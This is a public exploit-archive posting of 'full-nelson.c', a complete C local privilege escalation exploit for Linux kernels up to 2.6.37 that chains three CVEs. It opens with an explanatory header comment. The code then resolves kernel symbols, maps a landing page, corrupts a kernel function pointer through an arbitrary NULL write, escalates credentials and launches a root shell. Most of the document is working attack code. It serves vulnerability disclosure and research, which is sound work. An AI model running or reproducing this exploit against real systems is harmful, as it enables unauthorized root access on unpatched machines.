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Linux Kernel 2.6.37 Local Privilege Escalation

Linux Kernel 2.6.37 Local Privilege Escalation
Posted Dec 8, 2010
Authored by Dan Rosenberg

Linux kernel local privilege escalation exploit for versions 2.6.37 and below. It leverages three separate vulnerabilities to achieve root including a NULL pointer dereference, being able to assign arbitrary Econet addresses to arbitrary interfaces, and the ability to write a NULL word to an arbitrary kernel address.

tags | exploit, arbitrary, kernel, local, root, vulnerability
systems | linux
advisories | CVE-2010-4258, CVE-2010-3849, CVE-2010-3850
SHA-256 | 90c6bf981c13631f20aedf98e74ee2ce76bde194f9c594a64c300a938f3bfa47

Linux Kernel 2.6.37 Local Privilege Escalation

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Hi all,

I've included here a proof-of-concept local privilege escalation exploit
for Linux. Please read the header for an explanation of what's going
on. Without further ado, I present full-nelson.c:

Happy hacking,
Dan


--snip--

/*
* Linux Kernel <= 2.6.37 local privilege escalation
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
*
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
*
* CVE-2010-4258
* -------------
* This is the interesting one, and the reason I wrote this exploit. If a
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
* word will be written to a user-specified pointer when that thread exits.
* This write is done using put_user(), which ensures the provided destination
* resides in valid userspace by invoking access_ok(). However, Nelson
* discovered that when the kernel performs an address limit override via
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
* etc.), this override is not reverted before calling put_user() in the exit
* path, allowing a user to write a NULL word to an arbitrary kernel address.
* Note that this issue requires an additional vulnerability to trigger.
*
* CVE-2010-3849
* -------------
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
* fairly benign as a local denial-of-service. It's a perfect candidate to
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
* subsequently calls sendmsg under KERNEL_DS.
*
* CVE-2010-3850
* -------------
* I wouldn't be able to reach the NULL pointer dereference and trigger the
* OOPS if users weren't able to assign Econet addresses to arbitrary
* interfaces due to a missing capabilities check.
*
* In the interest of public safety, this exploit was specifically designed to
* be limited:
*
* * The particular symbols I resolve are not exported on Slackware or Debian
* * Red Hat does not support Econet by default
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
* Debian
*
* However, the important issue, CVE-2010-4258, affects everyone, and it would
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
* more sophisticated version of this that doesn't have the roadblocks I put in
* to prevent abuse by script kiddies.
*
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
*
* NOTE: the exploit process will deadlock and stay in a zombie state after you
* exit your root shell because the Econet thread OOPSes while holding the
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
*
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
*/

#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

/* How many bytes should we clear in our
* function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}

repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}

fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

commit_creds(prepare_kernel_cred(0));
return -1;

}

/* Why do I do this? Because on x86-64, the address of
* commit_creds and prepare_kernel_cred are loaded relative
* to rip, which means I can't just copy the above payload
* into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{

#ifdef __x86_64__
asm("mov $getroot, %rax; call *%rax;");
#else
asm("mov $getroot, %eax; call *%eax;");
#endif

}

/* Triggers a NULL pointer dereference in econet_sendmsg
* via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
int ret;
struct ifreq ifr;

memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);

if(ret < 0) {
printf("[*] Failed to set Econet address.\n");
return -1;
}

splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

/* Shouldn't get here... */
exit(0);
}

int main(int argc, char * argv[])
{
unsigned long econet_ops, econet_ioctl, target, landing;
int fildes[4], pid;
void * newstack, * payload;

/* Create file descriptors now so there are two
references to them after cloning...otherwise
the child will never return because it
deadlocks when trying to unlock various
mutexes after OOPSing */
pipe(fildes);
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
fildes[3] = open("/dev/zero", O_RDONLY);

if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
printf("[*] Failed to open file descriptors.\n");
return -1;
}

/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}

if(!(newstack = malloc(65536))) {
printf("[*] Failed to allocate memory.\n");
return -1;
}

printf("[*] Calculating target...\n");
target = econet_ops + 10 * sizeof(void *) - OFFSET;

/* Clear the higher bits */
landing = econet_ioctl << SHIFT >> SHIFT;

payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return -1;
}

memcpy((void *)landing, &trampoline, 1024);

clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, target);

sleep(1);

printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);

if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}

printf("[*] Got root!\n");
execl("/bin/sh", "/bin/sh", NULL);
}

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